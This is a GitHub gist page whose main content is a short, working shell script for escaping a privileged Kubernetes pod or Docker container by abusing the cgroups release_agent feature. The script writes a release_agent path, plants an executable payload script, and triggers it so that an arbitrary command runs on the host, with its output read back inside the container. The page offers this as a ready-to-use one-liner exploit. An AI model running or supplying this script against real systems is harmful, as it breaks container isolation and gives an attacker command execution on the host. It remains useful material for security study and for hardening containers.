Skip to content

Instantly share code, notes, and snippets.

@stefan2904
Created July 17, 2019 13:48
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save stefan2904/1af982f07c708b835016538701b14d0a to your computer and use it in GitHub Desktop.
Save stefan2904/1af982f07c708b835016538701b14d0a to your computer and use it in GitHub Desktop.
Quick and dirty way to get out of a privileged k8s pod or docker container by using cgroups release_agent feature, via https://twitter.com/_fel1x/status/1151487051986087936
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o
echo $t/c >$d/release_agent
echo "#!/bin/sh $1 >$t/o" >/c
chmod +x /c
sh -c "echo 0 >$d/w/cgroup.procs"
sleep 1
cat /o
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment